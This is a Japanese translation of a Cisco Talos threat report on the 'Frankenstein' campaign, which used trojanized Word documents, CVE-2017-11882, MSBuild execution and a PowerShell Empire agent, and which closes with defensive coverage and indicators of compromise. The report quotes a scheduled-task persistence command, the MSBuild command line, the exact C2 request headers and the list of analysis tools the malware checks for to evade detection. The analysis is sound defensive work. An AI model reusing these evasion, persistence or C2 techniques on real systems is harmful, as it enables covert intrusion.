エグゼクティブ サマリー
私たちが「Frankenstein」キャンペーンと呼んでいる一連の組織的なサイバー攻撃に関して、Cisco Talos は最近、この攻撃を構成すると見られる一連のドキュメントを特定しました。攻撃の発生期間について Talos では、2019 年 1 月から 4 月まで続いたと考えています。攻撃は悪意のあるドキュメント経由でマルウェアをインストールする類いのものです。マルウェアの各種リポジトリに含まれるドキュメント数が少ないことから、攻撃の標的はかなり絞られていたと考えられます。「Frankenstein」という名前は、関係のない複数のコンポーネントを組み合わせる攻撃者の能力の高さを示しています。実際、キャンペーンで使用するツールに 4 つの異なるオープンソース技術が活用されています。
キャンペーンでは次のコンポーネントが使用されていました。
- ユーザのサンプルが VM で実行されている時に検出される項目
- MSbuild を活用して PowerShell コマンドを実行する GitHub プロジェクト
- ステージャを構築するための「Fruityc2」と呼ばれる GitHub プロジェクトのコンポーネント
- 「PowerShell Empire」と呼ばれる(攻撃者の)エージェント向けの GitHub プロジェクト
Frankenstein キャンペーンの背後にいる攻撃者はある程度高度な技術と、かなり豊富な人材および資金を有していると考えられます。攻撃者がオープンソース ソリューションを好んで使用する点については、おそらく実行上のセキュリティを改善する目的で、公に入手可能なソリューションを使用する攻撃者の動向が反映されているようです。こうした難読化手口では、ネットワーク防御側が脅威を検出するためのポスチャと手順を変更する必要があります。
このレポートでは、Frankenstein キャンペーン全体で使用されるさまざまな検出回避手口について概説します。これらの手口には、Process Explorer などの分析ツールがバックグラウンドで実行されているかどうかのチェックや、サンプルが仮想マシンの内部にあるかどうかの判定が含まれます。この攻撃にはまた、実在しない User-Agent 文字列、セッション Cookie、ドメイン上の特定のディレクトリなど、事前に定義されたフィールドが含まれている GET 要求にのみ応答するように追加のステップが加えられています。転送中のデータを保護する目的で、さまざまな種類の暗号化も使用されていました。
トロイの木馬化したドキュメント
Talos はこの特定のキャンペーンに関連する 2 つの異なる感染手口を特定しました。攻撃者は、被害者を感染させるためにトロイの木馬と化した Microsoft Word ドキュメントを(おそらく)メール経由で送信していました。最初の手口は、リモート テンプレートを取得し既知の脆弱性を利用するトロイの木馬と、それが含まれるドキュメントに依存しています。2 つ目の手口はトロイの木馬と化した Word ドキュメントです。このドキュメントは、マクロを有効にして Visual Basic スクリプトを実行するよう求めるプロンプトを表示します。この 2 つの手法は攻撃者の C2 サーバが重複していたために、同じ脅威キャンペーンに関連付けることができました。
最初のシナリオで、Talos は「MinutesofMeeting-2May19.docx」という名前のドキュメントを検出しました。この文書には一見ヨルダンの国旗が表示されていました。ドキュメントが開かれると、攻撃者が管理する Web サイトから削除テンプレート(hxxp://droobox[.]online:80/luncher.doc)を取得します。ダウンロードされた luncher.doc は、CVE-2017-11882 を使用して被害者のマシンでコードを実行します。エクスプロイト後、同ファイルはコマンド スクリプトを実行し、「WinUpdate」という名前のスケジュール済みタスクとして永続化をセットアップします。
「/Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR」このスケジュールされたタスクでは、base64 でエンコードされたステージャとして機能する一連の PowerShell コマンドが実行されます。ステージャについては、次のセクションで詳しく説明します。
MinutesofMeeting-2May19.docx の例。
Talos が分析した、ユーザにマクロを有効にするよう促すサンプルの 1 つは「Kaspersky によって保護されている」と主張していました。Kaspersky は有名なウィルス対策企業です。一般的に、攻撃者は悪意のあるドキュメントに偽のセキュリティ ラベルを作成していますが、この手法にはまた、標的に対して偵察行為が行われた可能性が含まれおり、このドキュメントにソーシャル エンジニアリングが行われたことが示唆されます。
悪意のある Microsoft Word ドキュメントの例。
このグループに関連付けられた他の 2 つのドキュメントは、攻撃の対象をより絞っているようでした。ロゴを含む方のドキュメントは、複数の中東国家の政府機関を出所としていると思われ、別のドキュメントは、特定のターゲットグループが認識できるであろう不特定の建物の画像を表示していました。
公式ロゴを含むトロイの木馬化したドキュメント。
未確認の建物の画像を表示するトロイの木馬化したドキュメント。
Visual Basic スクリプトとその分析回避機能
ユーザがマクロを有効にするとすぐに、堅牢な Visual Basic アプリケーション(VBA)スクリプトが実行されました。この VBA スクリプトには、2 つの分析回避機能が含まれていました。まず、Windows 管理インストルメンテーション(WMI)に問い合わせて、次のいずれかのアプリケーションが実行されているかどうかを確認します。
- VMware
- Vbox
- Process Explorer
- Process Hacker
- Procmon
- Visual Basic
- Fiddler
- WireShark
次に、スクリプトは次のいずれかのタスクが実行されているかどうかを確認します。
- VMware
- Vbox
- VxStream
- AutoIT
- VMtools
- TCPView
- WireShark
- Process Explorer
- Visual Basic
- Fiddler
分析指向のアプリケーションをチェックするマクロのコードのコピー。
回避チェックが完了すると、攻撃者は MSbuild を使用(MSbuild to execute)して攻撃者が作成したファイル「LOCALAPPDATA\Intel\instal.xml」を実行します。Talos は文字解析に基づいて、マクロ スクリプトのこのコンポーネントが高い確率で「MSBuild-inline-task」というオープンソース プロジェクトに基づいていると評価しています。この手口は昨年文書化されましたが、実用されているケースはほとんど確認されていません。Talos は攻撃者が MSBuild を選んだ理由を、それが Microsoft の署名済みバイナリであるためだと感じています。つまり、任意のコードを実行する際に、ホスト上にあるアプリケーションのホワイト コントロールを回避できるのです。列挙プロセス中に前述のアプリケーションまたはタスク名のいずれかが検出された場合、スクリプトは実行を停止します。次の回避では、WMI が呼び出され、システムに割り当てられたコアの数が決定されます。コアの数が 2 未満の場合、スクリプトは実行を停止し、エンドユーザに「このファイルは Microsoft Office バージョンと互換性がありません」というポップアップ メッセージが表示されます。この手口は、サンプルが仮想マシンやサンドボックス環境で実行されているかどうかを検知する方法として、2015?TrustedSec report? を手本にしていると考えられます。
「MSBuild-inline-task」 の攻撃者バージョンのコピー。
cmd.exe /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe LOCALAPPDATA\Intel\instal.xml C:\Windows\System32ファイルの最後の行は、コマンドラインからエンコードされたコマンドを実行します。
「instal.xml」ファイルが実行されるとすぐ、base64 でエンコードされたコマンドの難読化を解除します。これにより、ステージャ、または追加のペイロードを取得するように設計された小さなスクリプトが明らかになりました。このステージャを分析している間に、FruityC2 PowerShell エージェントの「Get-Data」関数との類似点に気づきました。特筆すべき違いは、この特定のステージャには、暗号化された RC4 バイト ストリームを介してステージャがコマンド アンド コントロール(C2)と通信できる機能が含まれていた点です。このサンプルでは、攻撃者の C2 サーバのドメインは msdn[.]cloud です。以下の画像は、難読化が解除されたステージャのコピーです。
難読化が解除されたステージャのコピー。
GET /FC001/JOHN HTTP/1.1正常に実行されると、ステージャは C2 に接続しました。しかし、エージェントを受け取るためには、正しいディレクトリ、User-Agent 文字列、セッション Cookie がリクエストに含まれている必要がありました。予想される GET リクエストは次のようになりました。
Cookie: session=drYuSCFQdbQYHozM2dku17KYkY8=
User-Agent: Microsoft Internet Explorer
Host: msdn[.]cloud
Connection: Keep-Alive
成功すると、C2 は文字列を返します。文字列が RC4 で復号されると、PowerShell Empire エージェントが起動します。PowerShell スクリプトは、次のような特定の情報を探すためにホストの列挙を試みます。
- ユーザ名
- ドメイン名
- マシン名
- パブリック IP アドレス
- 現行のユーザが管理者権限を持っているかどうかを確認
- 現在実行中の全プロセスのリストを取得
- WMI を呼び出してオペレーティング システムのバージョンを取得
- セキュリティ システムの SHA256 HMAC を取得
取得した前述の情報は攻撃者の C2 に戻されます。ステージャと同様に、エージェントにも、特定の User-Agent 文字列とセッション キーの使用に加えて、暗号化されたチャネル(この場合は AES-CBC)を介して通信する機能が含まれていました。このエージェントを使用する攻撃者は、エージェントをリモートで操作してファイルをアップロード/ダウンロードしたり、Empire フレームワークと互換性のあるさまざまなプラグイン(被害者マシンから資格情報を収集するプラグインなど)を使用したりできます。攻撃者の技術が高度であることが示唆される一方、見過ごされていたコンポーネントもいくつかありました。たとえば、攻撃者は Empire エージェントの特定のコンポーネントを設定し忘れていたようです。具体的には、「WORKING_HOURS_REPLACE」や「REPLACE_KILLDATE」などの変数にプレースホルダー値を残すということをしていませんでした。
まとめ
攻撃者がオープンソース ソリューションを好んで使用する点については、公に入手可能なソリューションを使用する攻撃者の動向が反映されているようです。これには完全なカスタム ツールセットに優るメリットがあります。カスタム ツールを活用するキャンペーンは、ツールの開発者が簡単に特定されます。例を挙げると、VPNFilter マルウェアではコードが重複していたため、そのキャンペーンと Blackenergy マルウェアとを関連付けることができました。対照的に、オープンソース フレームワークで実行される攻撃は、追加の分析や情報がなければ属性を特定することが非常に困難です。中でも MuddyWater, などのオープンソース技術を使った高度な攻撃の例が、過去数年にわたって複数見られてました。この動向からわかることは、高度なトレーニングを受けた実行者も単純なツールを使って目標を達成するケースが増加しているということです。
カバレッジ
お客様がこの脅威を検出してブロックできる別の方法を以下に記載します。
Advanced Malware Protection(AMP)は、これらの攻撃者によるマルウェアの実行の阻止に最適です。
Cisco クラウド Web セキュリティ(CWS)または Web セキュリティ アプライアンス(WSA)の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、これらの攻撃で使用されるマルウェアを検出します。
電子メール セキュリティは、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。
次世代ファイアウォール(NGFW)、次世代侵入防止システム(NGIPS)、およびMeraki MX などのネットワーク セキュリティ アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。
AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコ セキュリティ製品に保護機能を埋め込みます。
シスコのセキュア インターネット ゲートウェイ(SIG)である Umbrella は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。
特定の環境および脅威データに対する追加の保護は、Firepower Management Center から入手できます。
オープン ソースの SNORT サブスクライバ ルール セットをお使いであれば、Snort.org で購入可能な最新のルール パックをダウンロードすることで、システムを最新状態に維持できます。
侵害の兆候
ハッシュ
418379fbfe7e26117a36154b1a44711928f52e33830c6a8e740b66bcbe63ec61
50195be1de27eac67dd3e5918e1fc80acaa16159cb48b4a6ab9451247b81b649
6b2c71bfc5d2e85140b87c801d82155cd9abd97f84c094570373a9620e81cee0
6be18e3afeec482c79c9dea119d11d9c1598f59a260156ee54f12c4d914aed8f
6e6e7ac84b1b0a0ae833ef2cb56592e1a7efc00ffad9b06bce7e676befc84185
b2600ac9b83e5bb5f3d128dbb337ab1efcdc6ce404adb6678b062e95dbf10c93
URL
hxxp://droobox[.]online/luncher.doc
hxxp://msdn[.]cloud/FC001/JOHN
hxxp://search-bing[.]site/FC003/User=H6szn1woY2pLV
ドメイン
msdn[.]cloud
search-bing[.]site
droobox[.]online
本稿は 2019年6月4日に Talos Group のブログに投稿された「It’s alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign」の抄訳です。